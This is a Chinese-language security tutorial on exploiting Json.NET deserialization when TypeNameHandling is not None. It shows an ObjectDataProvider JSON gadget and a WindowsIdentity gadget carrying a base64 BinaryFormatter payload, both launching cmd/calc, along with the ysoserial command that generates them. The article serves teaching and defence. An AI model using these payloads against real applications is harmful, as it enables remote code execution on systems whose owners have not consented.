.net反序列化萌新入门--Json.Net

本文来源:绿盟科技

01 Json.net简介

Json.net即Newtonsoft.Json，是.Net中开源的Json序列化和反序列化工具，官方地址：http://www.newtonsoft.com/json。

它虽然不是官方库，但凭借其优秀的性能获得了广大开发者的喜爱。

官网给出的性能比较：

02 Json.net的序列化和反序列化

首先定义一个person类，并添加一个execcmd的方法，它调用了Process.Start来执行cmd。

[Serializable]
public class Person
{
private static int TAG = 20;
private int _gender;

public string Name { set; get; }
public int Age { set; get; }
public void execcmd(string cmd)
{
Process.Start(cmd);
}
}

初始化并将其序列化输出：

var p = new Person()
{
Name = "m01n",
Age = 26
};
Console.WriteLine(JsonConvert.SerializeObject(p));        

输出结果如下：

但这并不是我们想要的，添加以下代码：

Console.WriteLine(JsonConvert.SerializeObject(p, new JsonSerializerSettings { TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full, TypeNameHandling = TypeNameHandling.All }));

输出：

增加了type字段，第二个参数是设置序列化的配置，其中TypeNameHandling是我们需要重点关注的，官网给出了以下五种设置，默认设置为None，除了None之外，都会包含type字段。这也是漏洞产生的关键。

03 ObjectDataProvider攻击向量

在前面的《.NET反序列化利用链萌新入门——XmlSerializer》中有介绍过ObjectDataProvider，总结一下就是在实现 ObjectDataProvider对象时，不管是添加ObjectInstance，MethodName还是MethodParameters都会自动尝试执行目标函数。

Json.net直接序列化ObjectDataProvider实现的System.Diagnostics.Process会报错，但我们可以看一下ObjectDataProvider对象的Json序列化输出格式。

结果输出格式化之后如下：

{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"ObjectInstance": {
"$type": "ConsoleApp1.Program+Person, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",
"Name": "m01n",
"Age": 26
},
"MethodName": "execcmd",
"MethodParameters": {
"$type": "MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"$values": ["calc"]
},
"IsAsynchronous": false,
"IsInitialLoadEnabled": true,
"Data": null,
"Error": null
}

对比一下 .\ysoserial.exe -g ObjectDataProvider -f json.net -c calc  生成的payload结果：

{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

首先是去除了一些不必要的字段，然后修改了MethodName为Start，同时将ObjectInstance和MethodParameters的$type分别设置为Process和ArrayList相对应的程序集限定名，当然经测试，MethodParameters的$type不用改也可以成功。

关于程序集限定名，可以通过object.GetType().AssemblyQualifiedName或者typeof().AssemblyQualifiedName获取。最终成功执行命令。

04 攻击向量—WindowsIdentity和WindowsClaimsIdentity 

WindowsIdentity

WindowsIdentity是一个表示Windows用户的类，可以获取认证用户的信息。

关于WindowsIdentity的详细介绍可以看官网：https://docs.microsoft.com/zh-cn/dotnet/api/system.security.principal.windowsidentity?redirectedfrom=MSDN&view=net-6.0

WindowsIdentity继承自System.Security.Claims.ClaimsIdentity，并且实现了 ISerializable 接口。

跟进去发现ISerializable接口需要实现GetObjectData方法，GetObjectData方法的第一个参数为SerializationInfo类对象。

通过调用SerializationInfo类的AddValue方法可以在序列化对象时存储备用值，AddValue具有多个重载方法来指定序列化的信息。

ClaimsIdentity

ClaimsIdentity（声称标识）位于 System.Security.Claims 命名空间下。

Claim表示一个声明单元，它用来组成ClaimsIdentity。ClaimsIdentity表示一个证件，例如身份*证，身份*证上面的名字表示一个Claim，身份*证号也表示一个Claim，所有这些Claim组成身份*证，即ClaimsIdentity。一个人不止有一个能够表示身份的东西，还有驾驶证、户口本等等，这些都是一个一个的CLaimsIdentity。

ClaimsIdentity 类初始化方法有两个重载，并且通过前文介绍的 SerializationInfo 来传入数据，最后用 Deserialize 反序列化数据。

跟进Deserialize(),可以看到key设置为System.Security.ClaimsIdentity.actor或者System.Security.ClaimsIdentity.bootstrapContext，base64解码后会执行后面的binaryFormatter.Deserialize()，此方法已被证明是不安全的。

微软关于binaryFormatter.Deserialize的说明：

POC

至此我们可以构造出攻击链，如果使用 GetObjectData 类中的 AddValue 方法添加key：System.Security.ClaimsIdentity.bootstrapContext，value : base64编码后的binaryFormatter.Deserialize的反序列化payload，最后实现 System.Security.Principal.WindowsIdentity.ISerializable 接口就能攻击成功。

构造如下方法：

传入binaryFormatter的反序列化payload并使用Json.net将其序列化。

得到如下结果：

{    "$type": "ConsoleApp1.Program+WindowsIdentityTest, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",    "System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm*9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm*9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM*9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm*9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm*9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM*9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm*9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="}

将$type的值改为WindowsIdentity的完全限定名，即可得到完整payload。也可以直接使用ysoserial生成payload：

ysoserial使用的是System.Security.ClaimsIdentity.actor，测试证明System.Security.ClaimsIdentity.bootstrapContext同样可以触发命令执行，但这两个在触发命令执行后都会引发异常：

WindowsClaimsIdentity和WindowsIdentity是相同的原理，因为WindowsClaimsIdentity继承自WindowsIdentity。

05 总结

使用Json.net的项目，JsonSerializer的TypeNameHandling值只要不为None，即可能存在反序列化漏洞。ObjectDataProvider攻击向量在.net反序列化中会经常用到。